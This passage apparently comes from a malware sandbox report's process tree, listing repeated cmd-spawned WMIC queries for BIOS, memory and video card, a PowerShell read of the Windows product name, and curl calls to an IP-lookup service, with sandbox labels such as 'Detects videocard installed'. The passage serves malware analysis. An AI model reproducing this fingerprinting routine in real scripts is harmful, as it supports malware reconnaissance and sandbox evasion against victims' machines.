        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic bios get smbiosbiosversion
        8⤵
        
        PID:4132
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "wmic MemoryChip get /format:list | find /i "Speed""
        7⤵
        
        PID:1848
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic MemoryChip get /format:list
        8⤵
        
        PID:1960
        
        C:\Windows\system32\find.exe
        
        find /i "Speed"
        8⤵
        
        PID:6092
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "wmic path win32_VideoController get name"
        7⤵
        
        PID:5744
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic path win32_VideoController get name
        8⤵
        Detects videocard installed
        
        PID:4220
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName"
        7⤵
        
        PID:2144
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName
        8⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:5016
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "curl http://api.ipify.org/ --ssl-no-revoke"
        7⤵
        
        PID:4892
        
        C:\Windows\system32\curl.exe
        
        curl http://api.ipify.org/ --ssl-no-revoke
        8⤵
        
        PID:6224
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "wmic bios get smbiosbiosversion"
        7⤵
        
        PID:6284
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic bios get smbiosbiosversion
        8⤵
        
        PID:6412
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "wmic MemoryChip get /format:list | find /i "Speed""
        7⤵
        
        PID:4860
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic MemoryChip get /format:list
        8⤵
        
        PID:6320
        
        C:\Windows\system32\find.exe
        
        find /i "Speed"
        8⤵
        
        PID:3536
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "wmic path win32_VideoController get name"
        7⤵
        
        PID:6152
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic path win32_VideoController get name
        8⤵
        
        PID:5508
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName"
        7⤵
        
        PID:5196
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName
        8⤵
        
        PID:5556
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "curl http://api.ipify.org/ --ssl-no-revoke"
        7⤵
        
        PID:5532
        
        C:\Windows\system32\curl.exe
        
        curl http://api.ipify.org/ --ssl-no-revoke
        8⤵
        
        PID:3432
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "wmic bios get smbiosbiosversion"
        7⤵
        
        PID:5172
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic bios get smbiosbiosversion
        8⤵
        
        PID:5276
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "wmic MemoryChip get /format:list | find /i "Speed""
        7⤵
        
        PID:5608
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic MemoryChip get /format:list
        8⤵
        
        PID:4624
        
        C:\Windows\system32\find.exe
        
        find /i "Speed"
        8⤵
        
        PID:904
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "wmic path win32_VideoController get name"
        7⤵
        
        PID:5452
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic path win32_VideoController get name
        8⤵
        Detects videocard installed
        
        PID:4532
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName"
        7⤵
        
        PID:5308
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName
        8⤵
        
        PID:2112
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "curl http://api.ipify.org/ --ssl-no-revoke"
        7⤵
        
        PID:3840
        
        C:\Windows\system32\curl.exe
        
        curl http://api.ipify.org/ --ssl-no-revoke
        8⤵
        
        PID:4232
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "wmic bios get smbiosbiosversion"
        7⤵
        
        PID:6612
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic bios get smbiosbiosversion
        8⤵
        
        PID:5040
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "wmic MemoryChip get /format:list | find /i "Speed""
        7⤵
        
        PID:5588
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic MemoryChip get /format:list
        8⤵
        
        PID:6704
        
        C:\Windows\system32\find.exe
        
        find /i "Speed"
        8⤵
        
        PID:752
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "wmic path win32_VideoController get name"
        7⤵
        
        PID:6536
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic path win32_VideoController get name
        8⤵
        
        PID:2852
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName"
        7⤵
        
        PID:5904
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName
        8⤵
        
        PID:6748
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "curl http://api.ipify.org/ --ssl-no-revoke"
        7⤵
        
        PID:1784
        
        C:\Windows\system32\curl.exe
        
        curl http://api.ipify.org/ --ssl-no-revoke
        8⤵
        
        PID:6808
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "wmic bios get smbiosbiosversion"
        7⤵
        
        PID:5348
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic bios get smbiosbiosversion
        8⤵
        
        PID:6876
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "wmic MemoryChip get /format:list | find /i "Speed""
        7⤵
        
        PID:6664
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic MemoryChip get /format:list
        8⤵
        
        PID:436
        
        C:\Windows\system32\find.exe
        
        find /i "Speed"
        8⤵
        
        PID:4824
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "wmic path win32_VideoController get name"
        7⤵
        
        PID:5056
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic path win32_VideoController get name
        8⤵
        
        PID:384
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName"
        7⤵
        
        PID:5260
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName
        8⤵
        
        PID:5064
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "curl http://api.ipify.org/ --ssl-no-revoke"
        7⤵
        
        PID:1584
        
        C:\Windows\system32\curl.exe
        
        curl http://api.ipify.org/ --ssl-no-revoke
        8⤵
        
        PID:1576
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "wmic bios get smbiosbiosversion"
        7⤵
        
        PID:372
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic bios get smbiosbiosversion
        8⤵
        
        PID:348
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "wmic MemoryChip get /format:list | find /i "Speed""
        7⤵
        
        PID:3824
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic MemoryChip get /format:list
        8⤵
        
        PID:6268
        
        C:\Windows\system32\find.exe
        
        find /i "Speed"
        8⤵
        
        PID:2452
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "wmic path win32_VideoController get name"
        7⤵
        
        PID:7148
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic path win32_VideoController get name
        8⤵
        
        PID:6444
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName"
        7⤵
        
        PID:2864
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName
        8⤵
        
        PID:5636
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "curl http://api.ipify.org/ --ssl-no-revoke"
        7⤵
        
        PID:5848
        
        C:\Windows\system32\curl.exe
        
        curl http://api.ipify.org/ --ssl-no-revoke
        8⤵
        
        PID:1916
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "wmic bios get smbiosbiosversion"
        7⤵
        
        PID:6108
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic bios get smbiosbiosversion
        8⤵
        
        PID:5204
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "wmic MemoryChip get /format:list | find /i "Speed""
        7⤵
        
        PID:3604
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic MemoryChip get /format:list
        8⤵
        
        PID:5632
        
        C:\Windows\system32\find.exe
        
        find /i "Speed"
        8⤵
        
        PID:6056
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "wmic path win32_VideoController get name"
        7⤵
        
        PID:6640
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic path win32_VideoController get name
        8⤵
        Detects videocard installed
        
        PID:5428
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName"
        7⤵
        
        PID:4816
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName
        8⤵
        
        PID:6076
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "curl http://api.ipify.org/ --ssl-no-revoke"
        7⤵
        
        PID:6124
        
        C:\Windows\system32\curl.exe
        
        curl http://api.ipify.org/ --ssl-no-revoke
        8⤵
        
        PID:6216
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "wmic bios get smbiosbiosversion"
        7⤵
        
        PID:6168
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic bios get smbiosbiosversion
        8⤵
        
        PID:6308
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "wmic MemoryChip get /format:list | find /i "Speed""
        7⤵
        
        PID:944
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic MemoryChip get /format:list
        8⤵
        
        PID:6596
        
        C:\Windows\system32\find.exe
        
        find /i "Speed"
        8⤵
        
        PID:3536
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "wmic path win32_VideoController get name"
        7⤵
        
        PID:4860
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic path win32_VideoController get name
        8⤵
        Detects videocard installed
        
        PID:5472
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName"
        7⤵
        
        PID:5488
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName
        8⤵
        
        PID:7104
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "curl http://api.ipify.org/ --ssl-no-revoke"
        7⤵
        
        PID:6328
        
        C:\Windows\system32\curl.exe
        
        curl http://api.ipify.org/ --ssl-no-revoke
        8⤵
        
        PID:1884
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "wmic bios get smbiosbiosversion"
        7⤵
        
        PID:5480
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic bios get smbiosbiosversion
        8⤵
        
        PID:6948
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "wmic MemoryChip get /format:list | find /i "Speed""
        7⤵
        
        PID:6300
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic MemoryChip get /format:list
        8⤵
        
        PID:5764
        
        C:\Windows\system32\find.exe
        
        find /i "Speed"
        8⤵
        
        PID:3808
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "wmic path win32_VideoController get name"
        7⤵
        
        PID:904
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic path win32_VideoController get name
        8⤵
        Detects videocard installed
        
        PID:5700
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName"
        7⤵
        
        PID:2056
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName
        8⤵
        
        PID:5692
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "curl http://api.ipify.org/ --ssl-no-revoke"
        7⤵
        
        PID:880
        
        C:\Windows\system32\curl.exe
        
        curl http://api.ipify.org/ --ssl-no-revoke
        8⤵
        
        PID:5440
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "wmic bios get smbiosbiosversion"
        7⤵
        
        PID:7124
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic bios get smbiosbiosversion
        8⤵
        
        PID:3840
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "wmic MemoryChip get /format:list | find /i "Speed""
        7⤵
        
        PID:5560
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic MemoryChip get /format:list
        8⤵
        
        PID:3456
        
        C:\Windows\system32\find.exe
        
        find /i "Speed"
        8⤵
        
        PID:6696
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "wmic path win32_VideoController get name"
        7⤵
        
        PID:852
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic path win32_VideoController get name
        8⤵
        Detects videocard installed
        
        PID:2816
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName"
        7⤵
        
        PID:5908
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName
        8⤵
        
        PID:3900
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "curl http://api.ipify.org/ --ssl-no-revoke"
        7⤵
        
        PID:3464
        
        C:\Windows\system32\curl.exe
        
        curl http://api.ipify.org/ --ssl-no-revoke
        8⤵
        
        PID:6748
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "wmic bios get smbiosbiosversion"
        7⤵
        
        PID:6868
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic bios get smbiosbiosversion
        8⤵
        
        PID:336
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "wmic MemoryChip get /format:list | find /i "Speed""
        7⤵
        
        PID:6920
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic MemoryChip get /format:list
        8⤵
        
        PID:6912
        
        C:\Windows\system32\find.exe
        
        find /i "Speed"
        8⤵
        
        PID:2812
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "wmic path win32_VideoController get name"
        7⤵
        
        PID:3184
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic path win32_VideoController get name
        8⤵
        
        PID:1384
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName"
        7⤵
        
        PID:4376
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName
        8⤵
        
        PID:7024
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "curl http://api.ipify.org/ --ssl-no-revoke"
        7⤵
        
        PID:4076
        
        C:\Windows\system32\curl.exe
        
        curl http://api.ipify.org/ --ssl-no-revoke
        8⤵
        
        PID:456
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "wmic bios get smbiosbiosversion"
        7⤵
        
        PID:4840
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic bios get smbiosbiosversion
        8⤵
        
        PID:4948
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "wmic MemoryChip get /format:list | find /i "Speed""
        7⤵
        
        PID:2688
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic MemoryChip get /format:list
        8⤵
        
        PID:3984
        
        C:\Windows\system32\find.exe
        
        find /i "Speed"
        8⤵
        
        PID:6812
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "wmic path win32_VideoController get name"
        7⤵
        
        PID:6624
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic path win32_VideoController get name
        8⤵
        
        PID:7076
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName"
        7⤵
        
        PID:1116
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName
        8⤵
        
        PID:1152
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "curl http://api.ipify.org/ --ssl-no-revoke"
        7⤵
        
        PID:6064
        
        C:\Windows\system32\curl.exe
        
        curl http://api.ipify.org/ --ssl-no-revoke
        8⤵
        
        PID:6084
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "wmic bios get smbiosbiosversion"
        7⤵
        
        PID:7160
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic bios get smbiosbiosversion
        8⤵
        
        PID:6072
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "wmic MemoryChip get /format:list | find /i "Speed""
        7⤵
        
        PID:3728
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic MemoryChip get /format:list
        8⤵
        
        PID:5992
        
        C:\Windows\system32\find.exe
        
        find /i "Speed"
        8⤵
        
        PID:5976
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "wmic path win32_VideoController get name"
        7⤵
        
        PID:6068
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic path win32_VideoController get name
        8⤵
        Detects videocard installed
        
        PID:2992
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName"
        7⤵
        
        PID:3672
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName
        8⤵
        
        PID:4792
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "curl http://api.ipify.org/ --ssl-no-revoke"
        7⤵
        
        PID:6828
        
        C:\Windows\system32\curl.exe
        
        curl http://api.ipify.org/ --ssl-no-revoke
        8⤵
        
        PID:5224
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "wmic bios get smbiosbiosversion"
        7⤵
        
        PID:3592
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic bios get smbiosbiosversion
        8⤵
        
        PID:6252
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "wmic MemoryChip get /format:list | find /i "Speed""
        7⤵
        
        PID:6136
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic MemoryChip get /format:list
        8⤵
        
        PID:4024
        
        C:\Windows\system32\find.exe
        
        find /i "Speed"
        8⤵
        
        PID:6204
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "wmic path win32_VideoController get name"
        7⤵
        
        PID:6224
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic path win32_VideoController get name
        8⤵
        Detects videocard installed
        
        PID:6172
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName"
        7⤵
        
        PID:6316
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName
        8⤵
        
        PID:5476
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "curl http://api.ipify.org/ --ssl-no-revoke"
        7⤵
        
        PID:5824
        
        C:\Windows\system32\curl.exe
        
        curl http://api.ipify.org/ --ssl-no-revoke
        8⤵
        
        PID:6420
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "wmic bios get smbiosbiosversion"
        7⤵
        
        PID:1864
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic bios get smbiosbiosversion
        8⤵
        
        PID:5464
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "wmic MemoryChip get /format:list | find /i "Speed""
        7⤵
        
        PID:5192
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic MemoryChip get /format:list
        8⤵
        
        PID:1884
        
        C:\Windows\system32\find.exe
        
        find /i "Speed"
        8⤵
        
        PID:5264
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "wmic path win32_VideoController get name"
        7⤵
        
        PID:5736
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic path win32_VideoController get name
        8⤵
        Detects videocard installed
        
        PID:5712
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName"
        7⤵
        
        PID:5836
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName
        8⤵
        
        PID:5408
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "curl http://api.ipify.org/ --ssl-no-revoke"
        7⤵
        
        PID:4236
        
        C:\Windows\system32\curl.exe
        
        curl http://api.ipify.org/ --ssl-no-revoke
        8⤵
        
        PID:1360
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "wmic bios get smbiosbiosversion"
        7⤵
        
        PID:1388
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic bios get smbiosbiosversion
        8⤵
        
        PID:3460
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "wmic MemoryChip get /format:list | find /i "Speed""
        7⤵
        
        PID:1604
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic MemoryChip get /format:list
        8⤵
        
        PID:5440
        
        C:\Windows\system32\find.exe
        
        find /i "Speed"
        8⤵
        
        PID:4232
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "wmic path win32_VideoController get name"
        7⤵
        
        PID:7124
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic path win32_VideoController get name
        8⤵
        Detects videocard installed
        
        PID:1804
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName"
        7⤵
        
        PID:2880
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName
        8⤵
        
        PID:6724
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "curl http://api.ipify.org/ --ssl-no-revoke"
        7⤵
        
        PID:3584
        
        C:\Windows\system32\curl.exe
        
        curl http://api.ipify.org/ --ssl-no-revoke
        8⤵
        
        PID:5856
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "wmic bios get smbiosbiosversion"
        7⤵
        
        PID:936
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic bios get smbiosbiosversion
        8⤵
        
        PID:6576
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "wmic MemoryChip get /format:list | find /i "Speed""
        7⤵
        
        PID:4844
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic MemoryChip get /format:list
        8⤵
        
        PID:6968
        
        C:\Windows\system32\find.exe
        
        find /i "Speed"
        8⤵
        
        PID:736
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "wmic path win32_VideoController get name"
        7⤵
        
        PID:536
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic path win32_VideoController get name
        8⤵
        Detects videocard installed
        
        PID:2148
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName"
        7⤵
        
        PID:3032
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName
        8⤵
        
        PID:4548
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "curl http://api.ipify.org/ --ssl-no-revoke"
        7⤵
        
        PID:6892
        
        C:\Windows\system32\curl.exe
        
        curl http://api.ipify.org/ --ssl-no-revoke
        8⤵
        
        PID:6708
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "wmic bios get smbiosbiosversion"
        7⤵
        
        PID:7024
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic bios get smbiosbiosversion
        8⤵
        
        PID:6760
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "wmic MemoryChip get /format:list | find /i "Speed""
        7⤵
        
        PID:6720
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic MemoryChip get /format:list
        8⤵
        
        PID:3756
        
        C:\Windows\system32\find.exe
        
        find /i "Speed"
        8⤵
        
        PID:4584
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "wmic path win32_VideoController get name"
        7⤵
        
        PID:320
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic path win32_VideoController get name
        8⤵
        Detects videocard installed
        
        PID:6816
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName"
        7⤵
        
        PID:4680
        
